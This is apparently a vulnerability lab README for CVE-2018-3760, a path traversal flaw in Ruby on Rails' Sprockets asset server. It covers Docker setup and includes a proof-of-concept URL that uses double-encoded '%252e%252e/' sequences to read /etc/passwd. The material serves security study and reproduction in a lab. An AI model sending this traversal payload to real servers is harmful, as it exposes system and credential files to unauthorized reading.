# Ruby On Rails Path Traversal Vulnerability（CVE-2018-3760）

[中文版本(Chinese version)](README.zh-cn.md)

Ruby On Rails is a well-known Ruby Web development framework, which uses Sprockets as a static file server in development environment. Sprockets is a Ruby library that compiles and distributes static resource files.

There is a path traversal vulnerability caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use `%252e%252e/` to access the root directory and read or execute any file on the target server.

Reference links：

- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
- https://seclists.org/oss-sec/2018/q2/210
- https://xz.aliyun.com/t/2542

## Environment setup

Enter the following command：

```
docker compose up -d
```

Visit `http://your-ip:3000` and you'll see the welcome page.

## POC

It will give an error by visiting `http://your-ip:3000/assets/file:%2f%2f/etc/passwd` directly, as the file `/etc/passwd` is not in the allowed directory.

![](1.png)

We can get a list of allowed directories by the error page. Just select one of them, such as `/usr/src/blog/app/assets/images`, then use `%252e%252e/` to jump to the parent directory, and finally read the file `/etc/passwd`:

```
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
```

![](2.png)